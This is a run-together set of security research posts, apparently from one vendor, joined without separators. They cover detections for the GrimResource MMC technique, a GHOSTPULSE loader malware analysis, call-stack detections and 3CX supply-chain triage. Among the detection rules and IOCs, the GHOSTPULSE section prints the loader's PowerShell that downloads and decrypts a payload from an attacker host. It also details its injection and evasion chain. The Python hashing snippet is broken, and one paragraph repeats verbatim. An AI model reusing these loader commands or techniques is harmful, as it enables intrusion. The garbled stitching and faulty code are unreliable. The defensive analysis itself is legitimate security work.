 process.parent.executable : "?:\\Windows\\System32\\mmc.exe" and  process.parent.args : "*.msc" and
 not process.parent.args : ("?:\\Windows\\System32\\*.msc", "?:\\Windows\\SysWOW64\\*.msc", "?:\\Program files\\*.msc", "?:\\Program Files (x86)\\*.msc") and
 not process.executable :
              ("?:\\Windows\\System32\\mmc.exe",
               "?:\\Windows\\System32\\wermgr.exe",
               "?:\\Windows\\System32\\WerFault.exe",
               "?:\\Windows\\SysWOW64\\mmc.exe",
               "?:\\Program Files\\*.exe",
               "?:\\Program Files (x86)\\*.exe",
               "?:\\Windows\\System32\\spool\\drivers\\x64\\3\\*.EXE",
               "?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe")

It triggers here because this sample opted to spawn and inject a sacrificial instance of dllhost.exe:

.NET COM object created in non-standard Windows Script Interpreter

The sample is using the DotNetToJScript technique, which triggers another detection looking for RWX memory allocation from .NET on behalf of a Windows Script Host (WSH) script engine (Jscript or Vbscript):

The following EQL rule will detect execution via the .NET loader:

api where
  not process.name : ("cscript.exe", "wscript.exe") and
  process.code_signature.trusted == true and
  process.code_signature.subject_name : "Microsoft*" and
  process.Ext.api.name == "VirtualAlloc" and
  process.Ext.api.parameters.allocation_type == "RESERVE" and 
  process.Ext.api.parameters.protection == "RWX" and
  process.thread.Ext.call_stack_summary : (
    /* .NET is allocating executable memory on behalf of a WSH script engine
     * Note - this covers both .NET 2 and .NET 4 framework variants */
    "*|mscoree.dll|combase.dll|jscript.dll|*",
    "*|mscoree.dll|combase.dll|vbscript.dll|*",
    "*|mscoree.dll|combase.dll|jscript9.dll|*",
    "*|mscoree.dll|combase.dll|chakra.dll|*"
)

The following alert shows mmc.exe allocating RWX memory and the process.thread.Ext.call_stack_summary captures the origin of the allocation from vbscript.dll to clr.dll :

Script Execution via MMC Console File

The two previous detections were triggered by specific implementation choices to weaponize the GrimResource method (DotNetToJS and spawning a child process). These detections can be bypassed by using more OPSEC-safe alternatives.

Other behaviors that might initially seem suspicious — such as mmc.exe loading jscript.dll, vbscript.dll, and msxml3.dll — can be clarified compared to benign data. We can see that, except for vbscript.dll, these WSH engines are typically loaded by mmc.exe:

The core aspect of this method involves using apds.dll to execute Jscript via XSS. This behavior is evident in the mmc.exe Procmon output as a CreateFile operation (apds.dll is not loaded as a library):

We added the following detection using Elastic Defend file open events where the target file is apds.dll and the process.name is mmc.exe:

The following EQL rule will detect the execution of a script from the MMC console:

sequence by process.entity_id with maxspan=1m
 [process where event.action == "start" and
  process.executable : "?:\\Windows\\System32\\mmc.exe" and process.args : "*.msc"]
 [file where event.action == "open" and file.path : "?:\\Windows\\System32\\apds.dll"]

Windows Script Execution via MMC Console File

Another detection and forensic artifact is the creation of a temporary HTML file in the INetCache folder, named redirect[*] as a result of the APDS XSS redirection:

The following EQL correlation can be used to detect this behavior while also capturing the msc file path:

sequence by process.entity_id with maxspan=1m
 [process where event.action == "start" and
  process.executable : "?:\\Windows\\System32\\mmc.exe" and process.args : "*.msc"]
 [file where event.action in ("creation", "overwrite") and
  process.executable :  "?:\\Windows\\System32\\mmc.exe" and file.name : "redirect[?]" and 
  file.path : "?:\\Users\\*\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\*\\redirect[?]"]

Alongside the provided behavior rules, the following YARA rule can be used to detect similar files:

rule Windows_GrimResource_MMC {
    meta:
        author = "Elastic Security"
        reference = "https://www.elastic.co/es/security-labs/GrimResource"
        reference_sample = "14bcb7196143fd2b800385e9b32cfacd837007b0face71a73b546b53310258bb"
        arch_context = "x86"
        scan_context = "file, memory"
        license = "Elastic License v2"
        os = "windows"
    strings:
        $xml = "<?xml"
        $a = "MMC_ConsoleFile" 
        $b1 = "apds.dll" 
        $b2 = "res://"
        $b3 = "javascript:eval("
        $b4 = ".loadXML("
    condition:
       $xml at 0 and $a and 2 of ($b*)
}

Conclusion

Attackers have developed a new technique to execute arbitrary code in Microsoft Management Console using crafted MSC files. Elastic’s existing out of the box coverage shows our defense-in-depth approach is effective even against novel threats like this. Defenders should leverage our detection guidance to protect themselves and their customers from this technique before it proliferates into commodity threat groups.

Observables

All observables are also available for download in both ECS and STIX formats.

The following observables were discussed in this research.

In October 2024, we released an update to stage 2 of GHOSTPULSE that includes new evasion techniques. You can check it out here.

Preamble

Elastic Security Labs has observed a campaign to compromise users with signed MSIX application packages to gain initial access. The campaign leverages a stealthy loader we call GHOSTPULSE which decrypts and injects its final payload to evade detection.

MSIX is a Windows app package format that developers can leverage to package, distribute, and install their applications to Windows users. With App Installer, MSIX packages can be installed with a double click. This makes them a potential target for adversaries looking to compromise unsuspecting victims. However, MSIX requires access to purchased or stolen code signing certificates making them viable to groups of above-average resources.

In a common attack scenario, we suspect the users are directed to download malicious MSIX packages through compromised websites, search-engine optimization (SEO) techniques, or malvertising. The masquerading themes we’ve observed include installers for Chrome, Brave, Edge, Grammarly, and WebEx to highlight a few.

From the user's perspective, the “Install” button appears to function as intended. No pop-ups or warnings are presented. However, a PowerShell script is covertly used to download, decrypt, and execute GHOSTPULSE on the system.

Malware Analysis

The GHOSTPULSE loader can be broken down into 3 stages (sometimes preceded by a PowerShell script) used to execute a final payload.

Stage 0

We consider the PowerShell script dropped by the malicious MSIX installer to be the stage 0 payload. The PowerShell script is typically included in MSIX infection vectors, but not always in other GHOSTPULSE infection methods (MSI, EXE, ISO). In one sample, the PowerShell script downloads a GPG-encrypted file from manojsinghnegi[.]com/2.tar.gpg.

Next, the PowerShell script decrypts the file using the command-line GPG utility using the following parameters:

• putin - the passphrase for the GPG file
• --batch - execute GPG in non-interactive mode
• --yes - answer “yes” to any prompts
• --passphrase-fd 0 - read the passphrase from a file descriptor, 0 instructs GPG to use STDIN, which is putin
• --decrypt - decrypt a file
• --output - what to save the decrypted file as

# 1
$url = "https://manojsinghnegi[.]com/2.tar.gpg"
$outputPath = "$env:APPDATA\$xxx.gpg"
Invoke-WebRequest -Uri $url -OutFile $outputPath

# 1
echo 'putin' | .$env:APPDATA\gpg.exe --batch --yes --passphrase-fd 0 --decrypt --output $env:APPDATA\$xxx.rar $env:APPDATA\$xxx.gpg

The GPG utility is included in the malicious MSIX installer package.

The decrypted file is a tar archive containing an executable VBoxSVC.exe which is in reality a renamed signed gup.exe executable that is used to update Notepad++, which is vulnerable to sideloading, an encrypted file in one example handoff.wav and a mostly benign library libcurl.dll with one of its functions overwritten with malicious code. The PowerShell executes the binary VBoxSVC.exe that will side load from the current directory the malicious DLL libcurl.dll. By minimizing the on-disk footprint of encrypted malicious code, the threat actor is able to evade file-based AV and ML scanning.

Stage 1

The first stage of GHOSTPULSE is embedded within a malicious DLL that undergoes side-loading through a benign executable. Execution of the corresponding code is triggered during the DllEntryPoint phase.

The process is initiated by pinpointing the base address of the malicious DLL of libcurl.dll, achieved through parsing the InLoadOrderModuleList API. This list, residing in the Process Environment Block (PEB), systematically records information about loaded modules.

Next, GHOSTPULSE builds an Import Address Table (IAT) incorporating essential APIs. This operation involves parsing the InLoadOrderModuleList structure within the Process Environment Block (PEB).

# Python code used for API hashing
def calculate_api_name_hash(api_name):
    value = 0
    for char in input_string:
        total = (ord(char) + value *0x1003F)&0xFFFFFFFF
    return value 

Below is the Stage 1 IAT structure reconstructed from the GHOSTPULSE malware sample, provided for reference:

struct core_stage1_IAT
{
void *kernel32_LoadLibraryW;
void *kernel32_QueryPerformanceCounter;
void *ntdll_module;
void *kernel32_CloseHandle;
__int64 field_20;
__int64 field_28;
__int64 field_30;
__int64 field_38;
void *kernel32_GetTempPathW;
void *kernel32_GetModuleFileNameW;
__int64 field_50;
__int64 field_58;
__int64 field_60;
void *ntdll__swprintf;
__int64 field_70;
__int64 field_78;
__int64 (__fastcall *ntdll_RtlDecompressBuffer)(__int64, __int64, _QWORD, __int64, int, int *);
void *kernel32_CreateFileW;
void *kernel32_ReadFile;
void *ntdll_NtQueryInformationProcess;
void *kernel32_GetFileSize;
__int64 field_A8;
void *kernel32_module;
__int64 field_B8;
void *ntdll_NtDelayExecution;
__int64 (__fastcall *kernel32_GlobalAlloc)(__int64, __int64);
__int64 field_D0;
void *kernel32_GlobalFree;
__int64 field_E0;
void *ntdll_RtlQueryEnvironmentVariable_U;
};

It then proceeds with its operation by reading and parsing the file named handoff.wav from the current directory. This file contains an encrypted data blob divided into distinct chunks. Each chunk of data is positioned following the string IDAT. The parsing process involves the malware executing through two distinct steps.

The initial phase involves identifying the commencement of the encrypted data by searching for the IDAT string in the file, which is followed by a distinctive 4-byte tag value. If the tag corresponds to the value stored in the malware's configuration, the malware extracts the bytes of the encrypted blob. The initial structure is as follows:

struct initial_idat_chunk
{
  DWORD size_of_chunk;
  DWORD IDAT_string;
  DWORD tag;
  DWORD xor_key;
  DWORD size_of_encrypted_blob;
  _BYTE first_chunk[];
};

• size_of_chunk: The malware utilizes this value, performing bits shifting to determine the chunk size to extract before the next occurrence of IDAT.
• xor_key: A 4-byte long XOR key employed for decrypting the consolidated encrypted blob after extraction
• size_of_encrypted_blob: Denotes the overall size of the encrypted blob, which is stored in chunks within the file
• first_chunk: Marks the start of the first chunk of data in memory

In the second step, the malware locates the next occurrence of IDAT and proceeds to extract the encrypted chunks that follow it which has the following format:

struct next_idat_chunk
{
DWORD size_of_chunk;
DWORD IDAT_string;
_BYTE n_chunk[];
};

• size_of_chunk: The malware utilizes this value, performing bits shifting to determine the chunk size to extract before the next occurrence of IDAT.
• n_chunk: Marks the start of the chunk of data in memory

The malware continues extracting encrypted data chunks until it reaches the specified size_of_encrypted_blob. Subsequently, the malware proceeds to decrypt the data using the 4-byte XOR key xor_key.

At this stage, the data blob, which is already compressed, undergoes decompression by the malware. The decompression process utilizes the RtlDecompressBuffer api.

The malware proceeds by loading a specified library stored in its configuration, in this case, mshtml.dll, utilizing the LoadLibraryW function. Shellcode (Stage 2) contained inside the decrypted and decompressed blob of data is written to the .text section of the freshly loaded DLL and then executed.

This technique is known as “module stomping”. The following image shows the associated VirtualProtect API calls captured with Elastic Defend associated with the module stomping:

Stage 2

Stage 2 initiates by constructing a new IAT structure and utilizing the CRC32 algorithm as the API name hashing mechanism. The following is the IAT structure of stage 2:

struct core_stage2_IAT
{
  void *kernel32_module;
  void *ntdll_module;
  void *kernel32_CreateFileW;
  void *kernel32_WriteFile;
  void *kernel32_ReadFile;
  void *kernel32_SetFilePointer;
  void *kernel32_CloseHandle;
  void *kernel32_GlobalAlloc;
  void *kernel32_GlobalFree;
  void *kernel32_ExpandEnvironmentStringsW;
  void *kernel32_GetFileSize;
  void *kernel32_GetProcAddress;
  void *kernel32_LoadLibraryW;
  void *ntdll__swprintf;
  void *kernel32_QueryPerformanceCounter;
  void *ntdll_RtlDecompressBuffer;
  void *field_80;
  void *field_88;
  void *field_90;
  void *field_98;
  void *field_A0;
  void *ntdll_NtDelayExecution;
  void *ntdll_RtlRandom;
  void *kernel32_GetModuleFileNameW;
  void *kernel32_GetCommandLineW;
  void *field_C8;
  void *ntdll_sscanf;
  void *field_D8;
  void *ntdll_NtQueryInformationProcess;
  void *ntdll_NtQuerySystemInformation;
  void *kernel32_CreateDirectoryW;
  void *kernel32_CopyFileW;
  void *ntdll_NtClose;
  void *field_108;
  void *field_110;
  void *field_118;
  void *field_120;
  void *field_128;
  void *kernel32_SetCurrentDirectoryW;
  void *field_138;
  void *kernel32_SetEnvironmentVariableW;
  void *kernel32_CreateProcessW;
  void *kernel32_GetFileAttributesW;
  void *msvcrt_malloc;
  void *msvcrt_realloc;
  void *msvcrt_free;
  void *ntdll_RtlHashUnicodeString;
  void *field_178;
  void *field_180;
  void *kernel32_OpenMutexA;
  void *field_190;
  void *kernel32_VirtualProtect;
  void *kernel32_FlushInstructionCache;
  void *field_1A8;
  void *ntdll_NtOpenProcessToken;
  void *ntdll_NtQueryInformationToken;
  void *ntdll_RtlWalkFrameChain;
  void *field_1C8;
  void *addr_temp_file_content;
  void *addr_decrypted_file;
};

Concerning NT functions, the malware reads the ntdll.dll library from disk and writes it to a dynamically allocated memory space with read, write, and execute permissions. Subsequently, it parses the loaded ntdll.dll library to extract the offsets of the required NT functions. These offsets are then stored within the newly built IAT structure. When the malware necessitates the execution of an NT API, it adds the API offset to the base address of ntdll.dll and directly invokes the API. Given that NT APIs operate at a very low level, they execute syscalls directly, which does not require the ntdll.dll library to be loaded in memory using the LoadLibrary API, this is done to evade userland hooks set by security products.

The following is the structure used by the malware to store NT API offsets:

struct __unaligned __declspec(align(4)) core_stage2_nt_offsets_table
{
  __int64 ntdll_module;
  int ZwCreateSection;
  int ZwMapViewOfSection;
  int ZwWriteVirtualMemory;
  int ZwProtectVirtualMemory;
  int NtSuspendThread;
  int ZwResumeThread;
  int ZwOpenProcess;
  int ZwGetContextThread;
  int NtSetContextThread;
};

GHOSTPULSE has the ability to establish persistence, if configured to, by generating an .lnk file that points to the Stage 1 binary, denoted as VBoxSVC.exe. To achieve this, the malware leverages COM (Component Object Model) objects as part of its technique.

It extracts another sub-blob of data from the first decrypted blob of Stage 1. This data is located at a specific position in the structure. The malware then performs an XOR encryption on this sub-blob, using the result of the XOR operation between the CRC32 value of the machine's computer name and the constant value 0xA1B2D3B4. Finally, the encrypted data is saved to a file in the user's temporary folder. It extracts another sub-blob of data from the first decrypted blob of Stage 1. This data is located at a specific position in the structure. The malware then performs an XOR encryption on this sub-blob, using the result of the XOR operation between the CRC32 value of the machine's computer name and the constant value 0xA1B2D3B4. Finally, the encrypted data is saved to a file in the user's temporary folder.

The malware then initiates a suspended child process using the executable specified in the Stage 2 configuration, which is a 32-bit cmd.exe in this case. It then adds an environment variable to the child process with a random name, example: GFHZNIOWWLVYTESHRTGAVC, pointing to the previously created temporary file.

Further, the malware proceeds by creating a section object and mapping a view of it to mshtml.dll in the child process using the ZwCreateSection and ZwMapViewOfSection APIs.

The legitimate mshtml.dll code is overwritten with the WriteProcessMemory API. The primary thread’s execution is then redirected to the malicious code in mshtml.dll with the Wow64SetThreadContext API as shown in the following image:

The parent process promptly terminates itself.

Stage 3

The objective of GHOSTPULSE’s Stage 3 is to load and execute the final payload in another process. One interesting part of Stage 3 was that it overwrites its previously executed instructions with new instructions to make analysis difficult. It is also capable of establishing persistence using the same method described above. GHOSTPULSE executes NTDLL APIs using the "heaven’s gate" technique.

Stage 3 starts off by constructing its own Function Import Table using CRC32 as the hashing algorithm. Additionally, it has the capability to disable redirection of the file system to WOW64, achieved through the utilization of the procedure Wow64FsRedirection, if configured to do so.

Following this, Stage 3 accesses the environment variable that was set earlier, in our case GFHZNIOWWLVYTESHRTGAVC, retrieves the associated temporary file and proceeds to decrypt its contents.

The decrypted file includes both a configuration and the ultimate payload in an encrypted format. The final payload undergoes XOR decryption using a 200-byte long key stored within the configuration. The malware then parses the PE structure of the payload with a set of functions that will indicate how the payload will be injected, for example, the type of payload (DLL or executable) architecture, etc.

GHOSTPULSE employs Process Doppelgänging, leveraging the NTFS transactions feature to inject the final payload into a new child process. The following steps illustrate the process:

• Calls the CreateTransaction API to initial a transaction
• Creates a transaction file with a random file name in temp folder with the ZwCreateFile API
• Writes the payload to the temp file using the ZwWriteFile API
• Creates a section of the transaction file with ZwCreateSection API
• At this point the file is not needed anymore, the malware calls the RollbackTransaction API to roll the transaction back
• GHOSTPULSE creates a suspended process with the target process path taken from it's configuration, in our sample 1msbuild.exe1
• It maps a view of the section to the process with the ZwMapViewOfSection API
• It sets the child process thread instruction pointer to the entry point of the final payload with the NtSetContextThread API
• Finally it resumes the thread with the NtResumeThread API

Final Payload

The final payload varies from sample to sample but is typically an information stealer. We have observed SectopRAT, Rhadamanthys, Vidar, Lumma, and NetSupport as final payloads. In SectopRAT samples, the malware first reaches out to Pastebin to retrieve the command and control address. In this case, it was 195.201.198[.]179 over TCP port 15647 as shown below:

Configuration extractor

Alongside this research, the Elastic Security Research Team has provided a configuration extractor to allow threat researchers to continue work to discover further developments within this campaign and expand detection capabilities for our community. The extractor takes the encrypted file shipped with GHOSTPULSE as the input.

Detection Guidance

Elastic Defend detects this threat with the following behavior protection rules:

• DNS Query to Suspicious Top Level Domain
• Library Load of a File Written by a Signed Binary Proxy
• Suspicious API Call from an Unsigned DLL
• Suspicious Memory Write to a Remote Process
• Process Creation from Modified NTDLL

The following yara rule will also detect GHOSTPULSE loaders on disk:

• Windows.Trojan.GhostPulse

Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

References

• https://twitter.com/1ZRR4H/status/1699923793077055821
• https://www.rapid7.com/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/
• https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates

Elastic Security for endpoint, with its roots in Endgame, has long led the industry for in-memory threat detection. We pioneered and patented many detection technologies such as kernel thread start preventions, call stack anomaly hunting, and module stomping discovery. However, adversaries continue to innovate and evade detections. For example, in response to our improved memory signature protection, adversaries developed a flurry of new sleep based evasions. We aim to out-innovate adversaries and maintain protections against the cutting edge of attacker tradecraft. With Elastic Security 8.8, we added new kernel call stack based detections which provide us with improved efficacy against in-memory threats.

Before we get started, it's important to know what call stacks are and why they’re valuable for detection engineering. A call stack is the ordered sequence of functions that are executed to achieve a behavior of a program. It shows in detail which functions (and their associated modules) were executed to lead to a behavior like a new file or process being created. Knowing a behavior’s call stack, we can build detections with detailed contextual information about what a program is doing and how it’s doing it.

Deep Visibility

The new call stack based detection capability leverages our existing deep in-line kernel visibility for the most common system behaviors (process, file, registry, library, etc). With each event, we capture the call stack for the activity. This is later enriched with module information, symbols, and evidence of suspicious activity. This gives us procmon-like visibility in real-time, powering advanced preventions for in-memory tradecraft.

Process creation call stack fields :

File, registry and library call stack fields:

New Rules

Additional visibility wouldn’t raise the bar unless we could pair it with tuned, high confidence preventions. In 8.8, behavior protection comes out of the box with 30+ rules to provide us with high efficacy against cutting edge attacker techniques such as: - Direct syscalls - Callback-based evasion - Module Stomping - Library loading from unbacked region - Process created from unbacked region - Many more

Call stacks are a powerful data source that can be used to improve protection against non-memory-based threats as well. For example, the following EQL queries look for the creation of a child process or an executable file extension from an Office process with a call stack containing VBE7.dll (a strong sign of the presence of a macro-enabled document). This increases the signal and coverage of the rule logic while reducing the necessary tuning efforts compared to just process or file creation events with no call stack information:

Below are some examples of matches where Macro-enabled malicious Excel and Word documents spawning a child process where the call stack refers to vbe7.dll :

Here, we can see a malicious XLL file opened via Excel spawning a legitimate browser\_broker.exe to inject into. The parent call stack indicates that the process creation call is coming from the [xlAutoOpen](https://learn.microsoft.com/en-us/office/client-developer/excel/xlautoopen) function:

The same enrichment is also valuable in library load and registry events. Below is an example of loading the Microsoft Common Language Runtime CLR.DLL module from a suspicious call stack (unbacked memory region with RWX permissions) using the Sliver execute-assembly command to load external .NET assemblies:

library where dll.name : "clr.dll" and
process.thread.Ext.call_stack_summary : "*mscoreei.dll|Unbacked*"

Hunting for suspicious modification of certain registry keys such as the Run key for persistence tends to be noisy and very common in legit software but if we add the call stack signal to the logic, the suspicion level is significantly increased :

registry where 
 registry.path : "H*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*"
// the creating thread's stack contains frames pointing outside any known executable image
 and process.thread.Ext.call_stack_contains_unbacked == true

Another “fun” example is the use of the call stack information to detect rogue instances of core system processes that normally have very specific functionality. By signaturing their normal call stacks, we can easily identify outliers. For example, WerFault.exe and wermgr.exe are among the most attractive targets for masquerading:

Examples of matches:

Apart from the use of call stack data for finding suspicious behaviors, it’s also useful when it comes to excluding false positives from behavior detections in a more granular way. This also helps reduce evasion opportunities.

A good example is a detection rule looking for unusual Microsoft Office child processes. This rule is used to exclude splwow64.exe , which can be legitimately spawned by printing activity. Excluding it by process.executable creates an evasion opportunity via process hollowing or injection, which can make the process tree look normal. We can now mitigate this evasion by requiring such process creations to come from winspool.drv!OpenPrinter :

process where event.action == "start" and
  process.parent.name : ("WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE", "MSACCESS.EXE", "mspub.exe", "fltldr.exe", "visio.exe") and
// excluding splwow64.exe only if it’s parent callstack is coming from winspool.drv module  
not (process.executable : "?:\\Windows\\splwow64.exe" and``_arraysearch(process.parent.thread.Ext.call_stack, $entry, $entry.symbol_info: ("?:\\Windows\\System32\\winspool.drv!OpenPrinter*", "?:\\Windows\\SysWOW64\\winspool.drv!OpenPrinter*")))

To reduce event volumes, call stack information is collected on the endpoint and processed for detections but not always streamed in events. To always include call stacks in streamed events an advanced option is available in Endpoint policy:

C2 Coverage

Elastic Endpoint makes quick work detecting some of the top C2 frameworks active today. See below for a screenshot detecting Nighthawk, BruteRatel, CobaltStrike, and ATP41’s StealthVector.

Conclusion

While this capability gives us a lead over the cutting edge of in-memory tradecraft today, attackers will no doubt develop new innovations in attempts to evade it. That’s why we are already hard at work to deliver the next set of leading in-memory detections. Stay tuned!

Resources

Rules released with 8.8:

• Execution from a Macro Enabled Office Document
• Suspicious Macro Execution via Windows Scripts
• Suspicious File Dropped by a Macro Enabled Document
• Shortcut File Modification via Macro Enabled Document
• DLL Loaded from a Macro Enabled Document
• Process Creation via Microsoft Office Add-Ins
• Registry or File Modification from Suspicious Memory
• Access to Browser Credentials from Suspicious Memory
• Potential NTDLL Memory Unhooking
• Microsoft Common Language Runtime Loaded from Suspicious Memory
• Common Language Runtime Loaded via an Unsigned Module
• Potential Masquerading as Windows Error Manager
• Suspicious Image Load via LdrLoadDLL
• Library Loaded via a CallBack Function
• Process Creation from Modified NTDLL
• DLL Side Loading via a Copied Microsoft Executable
• Potential Injection via the Console Window Class
• Suspicious Unsigned DLL Loaded by a Trusted Process
• Process Started via Remote Thread
• Potential Injection via DotNET Debugging
• Potential Process Creation via ShellCode
• Module Stomping form a Copied Library
• Process Creation from a Stomped Module
• Parallel NTDLL Loaded from Unbacked Memory
• Potential Operation via Direct Syscall
• Potential Process Creation via Direct Syscall
• Process from Archive or Removable Media via Unbacked Code
• Network Module Loaded from Suspicious Unbacked Memory
• Rundll32 or Regsvr32 Loaded a DLL from Unbacked Memory
• Windows Console Execution from Unbacked Memory
• Process Creation from Unbacked Memory via Unsigned Parent

• Elastic users are protected from supply chain attacks targeting the 3CX users
• How the execution flow operates is actively being investigated by Elastic Security Labs and other research teams
• Irrespective of the anti-malware technology you are using, shellcode and process injection alerts for 3CX should not be added to exception lists

Preamble

On March 29, 2023, CrowdStrike reported a potential supply-chain compromise affecting 3CX VOIP softphone users as detailed in a Reddit post. Elastic Security Labs continues to monitor telemetry for evidence of threat activity and will provide updates as more evidence becomes available. The earliest period of potentially malicious activity is currently understood to be on or around March 22, 2023 as reported by Todyl.

3CX states it is used by over 600,000 companies and over 12,000,000 users, so Elastic Security Labs is releasing a triage analysis to assist 3CX customers in the initial detection of SUDDENICON, with follow-on malware and intrusion analysis to be released at a later date.

In this informational update, Elastic Security Labs provides the following: - Potential malicious domains associated with malware activity - File hashes for 3CX Windows and MacOS clients which may be impacted - Elastic queries and prebuilt protections which may be relevant to this activity - YARA rules to identify the SUDDENICON malware

SUDDENICON triage analysis

The 3CXDesktopApp installer MSI appears to contain malicious code which waits seven days post-installation before downloading additional files from GitHub and communicating with malicious command-and-control domains. The client application writes ffmpeg.dll and d3dcompiler\_47.dll to disk, the latter of which contains a payload we refer to as SUDDENICON. Both libraries in our sampling appear to have been backdoored. It should be noted that ffmpeg.dll and d3dcompiler\_47.dll are both legitimate file names and rules should not be created on them alone.

The ffmpeg.dll binary extracts SUDDENICON from d3dcompiler\_47.dll by seeking the FEEDFACE byte sequence and decrypting using a static RC4 key (3jB(2bsG#@c7). The resulting payload is then loaded in memory as the second-stage payload. A shellcode stub prepended to the payload used to map it into memory shares similarities with APPLEJEUS loader stubs, which have been associated with DPRK. Upon successfully executing, this shellcode stub writes a new file ( manifest ) to disk with a timestamp 7 days in the future, used to implement a timer after which the malware connects to the C2 infrastructure.

C2 domains are retrieved by downloading and base64-decoding the trailing bytes appended to icon files staged in the IconStorages Github repository (this repository has been removed by Github). This repo was created by GitHub ID 120072117 on December 8, 2022, and most recently updated on March 16, 2023. After initially connecting to an active C2 server, the malware performs a POST containing a machine identifier. It then downloads and decrypts a new executable.

Initial analysis of the new executable appears to be an information stealer. We’ll release an update once the analysis has been completed.

The CEO of 3CX has recommended uninstalling the software; a small number of community forum posts outline how security tooling is reacting to potential malware behaviors, and CrowdStrike and SentinelOne have published initial information. It appears likely that the threat was able to introduce adversary-created malicious software via update channels, overwriting otherwise benign components of the 3CXDesktopApp. Users may accidentally self-infect, as well.

Detection logic

Prevention

• Memory Threat Detection Alert: Shellcode injection
• Windows.Trojan.SuddenIcon

Hunting queries

The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.

KQL queries

The following KQL query can be used to identify 3CX-signed software performing name resolution of raw.githubusercontent.com, where malicious applications related to this threat have been staged:

process.name : "3CXDesktopApp.exe" and dns.question.name : "raw.githubusercontent.com"

The following KQL query can be used to identify several host-based indicators of this activity:

dll.hash.sha256  : "7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896" or dll.hash.sha256 :  "c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02"

EQL queries

Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for similar behaviors.

The following EQL query can be used to profile 3CX software and child software:

any where process.code_signature.subject_name == "3CX Ltd" or process.parent.code_signature.subject_name == "3CX Ltd"

The following EQL query can be used to identify 3CX-signed software performing name resolution of raw.githubusercontent.com, where malicious applications related to this threat have been staged:

network where process.code_signature.subject_name == "3CX Ltd" and dns.question.name == “raw.githubusercontent.com”

The following EQL query can be used to identify files written by the 3CXDesktopApp client:

file where event.type == "creation" and (host.os.type == "windows" and file.path : "*:\\Users\\*\\AppData\\Local\\Programs\\C3XDesktopApp\\app\\*" and file.name : ("manifest")) or (host.os.type == "macos" and file.path : "*/Library/Application Support/3CX Desktop App/" and file.name : ("UpdateAgent", ".main_storage", ".session-lock")

The following EQL query can be used to identify several host-based indicators of this activity:

sequence by host.name, process.entity_id[process where process.code_signature.subject_name:"3CX Ltd"][library where dll.hash.sha256:"c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02","7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896"][network where dns.question.name:"raw.githubusercontent.com"]

The following EQL query can be used to identify this activity if the DLL is updated:

library where process.code_signature.subject_name : "3CX Ltd" and not dll.code_signature.trusted == true and not startswith~(dll.name, process.name) and /* DLL loaded from the process.executable directory */ endswith~(substring(dll.path, 0, length(dll.path) - (length(dll.name) + 1)), substring(process.executable, 0, length(process.executable) - (length(process.name) + 1)))

YARA

Elastic Security Labs has released two YARA signatures for the malicious shellcode, which we refer to as SUDDENICON.

Defensive recommendations

Elastic Endgame and Elastic Endpoint customers with shellcode protections enabled in prevention mode blocked the execution of SUDDENICON, though any compromised client software may need to be removed. Due to the delayed shellcode retrieval and injection, 3CXDesktopApp users may not see alerts until the sleep interval passes (approximately 7 days). Customers who are using shellcode protections in detect-only mode should enable prevention to mitigate the risk of infection. Do not create exceptions for these alerts.

References

The following were referenced throughout the above research: - https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/ - https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/ - https://www.todyl.com/blog/post/threat-advisory-3cx-softphone-telephony-campaign

Indicators

Potentially malicious domains

Bold domains indicate that they were observed in our analysis.

• akamaicontainer[.]com
• akamaitechcloudservices[.]com
• azuredeploystore[.]com
• azureonlinecloud[.]com
• azureonlinestorage[.]com
• dunamistrd[.]com
• glcloudservice[.]com
• journalide[.]org
• msedgepackageinfo[.]com
• msstorageazure[.]com
• msstorageboxes[.]com
• officeaddons[.]com
• officestoragebox[.]com
• pbxcloudeservices[.]com
• pbxphonenetwork[.]com
• pbxsources[.]com
• qwepoi123098[.]com
• sbmsa[.]wiki
• sourceslabs[.]com
• visualstudiofactory[.]com
• zacharryblogs[.]com

Potentially impacted 3CXDesktopApp versions and hashes:

Client hash: dde03348075512796241389dfea5560c20a3d2a2eac95c894e7bbed5e85a0acc OS: Windows Installer hash: aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868 Installer filename: 3cxdesktopapp-18.12.407.msi

Client hash: fad482ded2e25ce9e1dd3d3ecc3227af714bdfbbde04347dbc1b21d6a3670405 OS: Windows Installer hash: 59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983 Installer filename: 3cxdesktopapp-18.12.416.msi

Client hash: 92005051ae314d61074ed94a52e76b1c3e21e7f0e8c1d1fdd497a006ce45fa61 OS: macOS Installer hash: 5407cda7d3a75e7b1e030b1f33337a56f293578ffa8b3ae19c671051ed314290 Installer filename: 3CXDesktopApp-18.11.1213.dmg

Client hash: b86c695822013483fa4e2dfdf712c5ee777d7b99cbad8c2fa2274b133481eadb OS: macOS Installer hash: e6bbc33815b9f20b0cf832d7401dd893fbc467c800728b5891336706da0dbcec Installer filename: 3cxdesktopapp-latest.dmg

Elastic Security has identified an ongoing campaign targeting a Vietnamese financial services institution with the PHOREAL/RIZZO backdoor. While this malware has been in use for some time, this is the first time that we have observed it loading into memory as a defense evasion and campaign protection technique. Upon analysis of our own observations and previously reported information, we are tracking this activity group (malware + technique + victimology) as REF4322.

What is the threat?

PHOREAL/RIZZO is a backdoor allowing initial victim characterization and follow-on post-exploitation operations to compromise the confidentiality of organizations’ data. It has been reported in other research as being used exclusively by APT32 (AKA SeaLotus, OceanLotus, APT-C-00, Group G0050).

